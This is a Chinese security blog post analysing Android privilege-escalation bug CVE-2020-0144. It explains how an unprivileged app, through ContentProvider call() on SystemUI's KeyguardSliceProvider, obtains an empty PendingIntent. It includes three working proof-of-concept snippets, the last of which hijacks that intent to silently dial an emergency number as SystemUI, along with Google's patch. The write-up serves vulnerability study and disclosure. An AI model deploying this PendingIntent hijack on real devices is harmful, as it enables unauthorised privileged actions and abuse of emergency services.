Android的特殊攻击面(三)——隐蔽的call函数 – 作者:pengxing

  • 0x00 简介

6月,Google在Android AOSP Framework中修复了OPPO子午互联网安全实验室发现的高危提权漏洞CVE-2020-0144 [1] ,这个漏洞允许手机上没有权限的恶意应用以SystemUI 的名义发送任意Activity Intent ,可以静默拨打紧急电话,打开许多受权限保护的Activity。该漏洞也是自retme大神所分析的BroadcastAnyWhere经典漏洞[2]以来的又一个PendingIntent劫持漏洞,尽管无法以System UID的权限发送任意广播,但由于SystemUI 同样拥有大量权限,该提权漏洞仍然具有很大的利用空间。

本文将对CVE-2020-0144进行分析,不过重点倒不在于PendingIntent漏洞利用,而是介绍该漏洞中PendingIntent的获取,这涉及到ContentProvider的一个比较隐蔽的函数——call

0x01 ContentProvider call

call函数的其中一个原型如下

Plain Text

1
public Bundle call (String method, String arg, Bundle extras)               Bundle extras)```

与其他基于数据库表的query/insert/delete等函数不同,call提供了一种针对Provider的直接操作接口,支持传入的参数分别为:方法、String类型的参数和Bundle类型的参数,并返回给调用者一个Bundle 类型的参数。

call函数的使用潜藏暗坑,开发者文档特意给出警示[3]:Android框架并没有针对call函数进行权限检查,call函数必须实现自己的权限检查。这里的潜在含义是:AndroidManifest文件中对ContentProvider的权限设置可能无效,必须在代码中对调用者进行权限检查。文章[4]对这种call函数的误用进行了描述,并给出了漏洞模型,感兴趣的读者可以去深究。

  • 0x02 双无PendingIntent

CVE-2020-0144位于SystemUI的KeyGuardSliceProvider,该Provider包含一个构造自空Intent的PendingIntent。这是一个双无PendingIntent,既没有指定Intent的Package,也没有指定Intent的Action。普通App如果可以拿到这个PendingIntent,就可以填充这些内容,并以SystemUI的名义发送出去。

frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java

Plain Text

1
```javapublic boolean onCreateSliceProvider() {            ...            mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);            ...        }return true;    }```

关键是普通App,如何拿到这个PendingIntent?要回答这个问题,必须从KeyGuardSliceProvider的父类SliceProvider说起。

  • 0x03 SliceProvider

SliceProvider是自Android P开始引入的一种应用程序间共享UI界面的机制,其架构如下图所示。在默认使用场景下,Slice的呈现者(SlicePresenter),可以通过Slice URI和Android系统提供的bindSlice等API来访问另一个App通过SliceProvider分享出来的Slice。

00e4163ab9a9329f21b63e68b44ef8c9.png

简而言之,Slice是可共享的UI界面,包括图标、文本和动作(action),Slice通过URI来唯一标识。比如Settings中打开NFC开关的这个界面

a07c83aeac119046bb5eb945aef03b8d.png

可以通过SettingsSliceProvider中content://android.settings.slices/action/toggle_nfc这个URI共享给别的应用使用,用户不必打开Settings,就可以在其他应用界面中对NFC开关进行操作。除了显示文字和图标,上述界面也包含两个action:

  • 点击文字:跳转到Settings中的NFC设置界面;

  • 点击按钮:直接打开或关闭NFC选项。

这两个提供给用户触发的action实质都是通过PendingIntent来实现的。

关于SliceProvider的详细介绍参见[5]、[6],尽管Android框架层提供了一系列API供App来使用SliceProvider,但更底层的call函数提供了一种直接操纵SliceProvider的捷径。

仔细观察SliceProvider,实现了call函数,根据不同的调用方法,返回一个包含Slice对象的Bundle。

frameworks/base/core/java/android/app/slice/SliceProvider.java

Plain Text

1
```java @Override    public Bundle call(String method, String arg, Bundle extras) {        if (method.equals(METHOD_SLICE)) {            Uri uri = getUriWithoutUserId(validateIncomingUriOrNull(                    extras.getParcelable(EXTRA_BIND_URI)));            List<SliceSpec> supportedSpecs = extras.getParcelableArrayList(EXTRA_SUPPORTED_SPECS);String callingPackage = getCallingPackage();            int callingUid = Binder.getCallingUid();            int callingPid = Binder.getCallingPid();Slice s = handleBindSlice(uri, supportedSpecs, callingPackage, callingUid, callingPid);            Bundle b = new Bundle();            b.putParcelable(EXTRA_SLICE, s);            return b;        } else if (method.equals(METHOD_MAP_INTENT)) {            ...        } else if (method.equals(METHOD_MAP_ONLY_INTENT)) {            ...        } else if (method.equals(METHOD_PIN)) {            ...        } else if (method.equals(METHOD_UNPIN)) {            ...        } else if (method.equals(METHOD_GET_DESCENDANTS)) {            ...        } else if (method.equals(METHOD_GET_PERMISSIONS)) {            ...        }        return super.call(method, arg, extras);    }```

我们观察第一个分支,当传入的方法为METHOD_SLICE时,调用链为SliceProvider.handleBindSlice–>onBindSliceStrict–>onBindSlice,中间若通过了Slice访问的权限检查,最终就会进入onBindSlice方法,在SliceProvder中这个方法为空,因此具体实现在派生SliceProvider的子类。

  • 0x04 KeyguardSliceProvider

SystemUI 所使用的KeyguardSliceProivder派生自SliceProvider,可以将锁屏上的日期、勿扰图标以及闹钟等展示界面分享给其他App使用。

Plain Text

1
```xml<provider android:name=".keyguard.KeyguardSliceProvider"android:authorities="com.android.systemui.keyguard"android:grantUriPermissions="true"android:exported="true"></provider>```

针对KeyguardSliceProvider的URI content://com.android.systemui.keyguard使用call函数,传入METHOD_SLICE,最终进入下面的onBindSlice方法。

frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java

Plain Text

1
```java@AnyThread@Overridepublic Slice onBindSlice(Uri sliceUri) {        Trace.beginSection("KeyguardSliceProvider#onBindSlice");        Slice slice;synchronized (this) {            ListBuilder builder = new ListBuilder(getContext(), mSliceUri, ListBuilder.INFINITY);if (needsMediaLocked()) {                addMediaLocked(builder);            } else {                builder.addRow(new RowBuilder(mDateUri).setTitle(mLastText));            }            addNextAlarmLocked(builder);            addZenModeLocked(builder);            addPrimaryActionLocked(builder);            slice = builder.build();        }        Trace.endSection();return slice;    }```

这个方法返回给调用方KeyGuardSliceProvider的Slice对象,该对象通过addPrimaryActionLocked(builder)函数添加内部的action。

frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java

Plain Text

1
```javaprotected void addPrimaryActionLocked(ListBuilder builder) {// Add simple action because API requires it; Keyguard handles presenting// its own slices so this action + icon are actually never used.        IconCompat icon = IconCompat.createWithResource(getContext(),                R.drawable.ic_access_alarms_big);        SliceAction action = SliceAction.createDeeplink(mPendingIntent, icon,                ListBuilder.ICON_IMAGE, mLastText);        RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI))                .setPrimaryAction(action);        builder.addRow(primaryActionRow);    }```

注意上面那个mPendingIntent,也就是我们在前文所说的那个双无PendingIntent,该对象会被层层包裹到call函数返回的Slice对象中。因此,通过call函数,经过SliceProvider与KeyguardSliceProvider,有可能拿到SystemUI 生成的一个双无PendingIntent。

  • 0x05 SliceProvider授权

但是使用下面的代码去call KeyguardSliceProvider会触发第一次访问Slice的授权。

—-POC1—-

Plain Text

1
```java final static String uriKeyguardSlices = "content://com.android.systemui.keyguard"; Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle()); Slice slice = responseBundle.getParcelable("slice"); Log.d("pi", slice.toString());private Bundle prepareReqBundle() {        Bundle b = new Bundle();        b.putParcelable("slice_uri", Uri.parse(uriKeyguardSlices));        ArrayList<Parcelable> supportedSpecs = new ArrayList<Parcelable>();        supportedSpecs.add(new SliceSpec("androidx.app.slice.LIST", 1));        supportedSpecs.add(new SliceSpec("androidx.slice.LIST", 1));        supportedSpecs.add(new SliceSpec("androidx.app.slice.BASIC", 1));        b.putParcelableArrayList("supported_specs", supportedSpecs);return b; }```

得到Slice如下

Plain Text

1
```shell05-30 08:31:02.306 11449 11449 D pi      : slice:05-30 08:31:02.306 11449 11449 D pi      :    image05-30 08:31:02.306 11449 11449 D pi      :    text: testAOSPSytemUIKeyguardSliceProvider wants to show System UI slices05-30 08:31:02.306 11449 11449 D pi      :    int05-30 08:31:02.306 11449 11449 D pi      :    slice:05-30 08:31:02.306 11449 11449 D pi      :       image05-30 08:31:02.306 11449 11449 D pi      :       action```

从上面的text描述可知,由于SystemUI并没有授权给我们的app去访问这个Slice,我们的call触发了对Slice的授权请求,得到的Slice对象经由createPermissionSlice返回

frameworks/base/core/java/android/app/slice/SliceProvider.java

Plain Text

1
```javaprivate Slice handleBindSlice(Uri sliceUri, List<SliceSpec> supportedSpecs,            String callingPkg, int callingUid, int callingPid) {// This can be removed once Slice#bindSlice is removed and everyone is using// SliceManager#bindSlice.        String pkg = callingPkg != null ? callingPkg                : getContext().getPackageManager().getNameForUid(callingUid);try {            mSliceManager.enforceSlicePermission(sliceUri, pkg,                    callingPid, callingUid, mAutoGrantPermissions);        } catch (SecurityException e) {return createPermissionSlice(getContext(), sliceUri, pkg);        }```

这个Slice封装了一个向用户获取授权的动作,通过createPermissionSlice函数得到

frameworks/base/core/java/android/app/slice/SliceProvider.java

Plain Text

1
```javapublic Slice createPermissionSlice(Context context, Uri sliceUri,String callingPackage) {PendingIntent action;mCallback = "onCreatePermissionRequest";Handler.getMain().postDelayed(mAnr, SLICE_BIND_ANR);try {action = onCreatePermissionRequest(sliceUri);} finally {Handler.getMain().removeCallbacks(mAnr);}```

最终调用createPermissionIntent,构造一个PendingIntent,用于弹出授权对话框SlicePermissionActivity

frameworks/base/core/java/android/app/slice/SliceProvider.java

Plain Text

1
```java/**     * @hide     */public static PendingIntent createPermissionIntent(Context context, Uri sliceUri,            String callingPackage) {        Intent intent = new Intent(SliceManager.ACTION_REQUEST_SLICE_PERMISSION);        intent.setComponent(new ComponentName("com.android.systemui","com.android.systemui.SlicePermissionActivity"));        intent.putExtra(EXTRA_BIND_URI, sliceUri);        intent.putExtra(EXTRA_PKG, callingPackage);        intent.putExtra(EXTRA_PROVIDER_PKG, context.getPackageName());// Unique pending intent.        intent.setData(sliceUri.buildUpon().appendQueryParameter("package", callingPackage)                .build());return PendingIntent.getActivity(context, 0, intent, 0);    }```

看到这里,就知道普通App也可以直接发起这个授权,让用户同意对KeyguardSliceProvider的访问,POC发起授权的部分如下。

—POC2—

Plain Text

1
```javaIntent intent = new Intent("com.android.intent.action.REQUEST_SLICE_PERMISSION");                intent.setComponent(new ComponentName("com.android.systemui","com.android.systemui.SlicePermissionActivity"));Uri uri = Uri.parse(uriKeyguardSlices);                intent.putExtra("slice_uri", uri);                intent.putExtra("pkg", getPackageName());                intent.putExtra("provider_pkg", "com.android.systemui");startActivity(intent);```

点击同意后,就可以真正call到KeyguardSliceProvider

287f5568fb68785e1639f03c2dbed520.png
  • 0x06 PendingIntent劫持题

再次调用POC1,得到Slice如下,

Plain Text

1
```shell sargo:/data/system/slice # logcat -s pi--------- beginning of main05-30 10:40:52.956 12871 12871 D pi      : long05-30 10:40:52.956 12871 12871 D pi      : slice:05-30 10:40:52.956 12871 12871 D pi      :    text: Sat, May 3005-30 10:40:52.956 12871 12871 D pi      : slice:05-30 10:40:52.956 12871 12871 D pi      :    action05-30 10:40:52.956 12871 12871 D pi      : long```

注意上面显示的 那个action就是需要劫持的PendingIntent,通过调试观察,这个PendingIntent被层层包裹,位于返回Slice第3个SliceItem的第1个SliceItem,用代码表示就是

Plain Text

1
`PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();`
6e7f8279348bc2c736f3a0c5463bed9b.png

这样就可以给出POC的最终利用

—POC3—

Plain Text

1
```javaBundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());Slice slice = responseBundle.getParcelable("slice");Log.d("pi", slice.toString());PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();Intent evilIntent = new Intent("android.intent.action.CALL_PRIVILEGED");evilIntent.setData(Uri.parse("tel:911"));try {    pi.send(getApplicationContext(), 0, evilIntent, null, null);} catch (PendingIntent.CanceledException e) {   e.printStackTrace();}```

在用户仅授权访问SystemUI KeyguardSliceProvider的情况下,拨打紧急电话。

04a3beb0298caada00c634cb211cacb3.png

至此,我们通过call函数,经过SliceProvider的授权,层层剥茧抽丝,拿到了潜藏至深的双无PendingIntent,并以SystemUI的名义直接拨打紧急电话。这是一个绕过有关安全设置权限的操作,因此Google评级为高危。

  • 0x07 修复

Google针对双无PendingIntent进行了修复,使其指向一个并不存在的的Activity,无法被劫持。

Plain Text

1
```java-            mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);+            mPendingIntent = PendingIntent.getActivity(getContext(), 0,+                    new Intent(getContext(), KeyguardSliceProvider.class), 0);```
  • 0x08 参考

[1] https://source.android.com/security/bulletin/2020-06-01

[2] http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html

[3[https://developer.android.com/reference/android/content/ContentProvider#call(java.lang.String,%20java.lang.String,%20java.lang.String,%20android.os.Bundle)](https://developer.android.com/reference/android/content/ContentProvider#call(java.lang.String, java.lang.String, java.lang.String, android.os.Bundle))

[4] https://bitbucket.org/secure-it-i/android-app-vulnerability-benchmarks/src/master/ICC/WeakChecksOnDynamicInvocation-DataInjection-Lean/

[5] https://developer.android.com/guide/slices

[6] https://proandroiddev.com/android-jetpack-android-slices-introduction-cf0ce0f3e885

a2fa4496d0431114f6b629cd95422e8a.jpeg

来源:freebuf.com 2020-09-04 15:53:17 by: pengxing

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论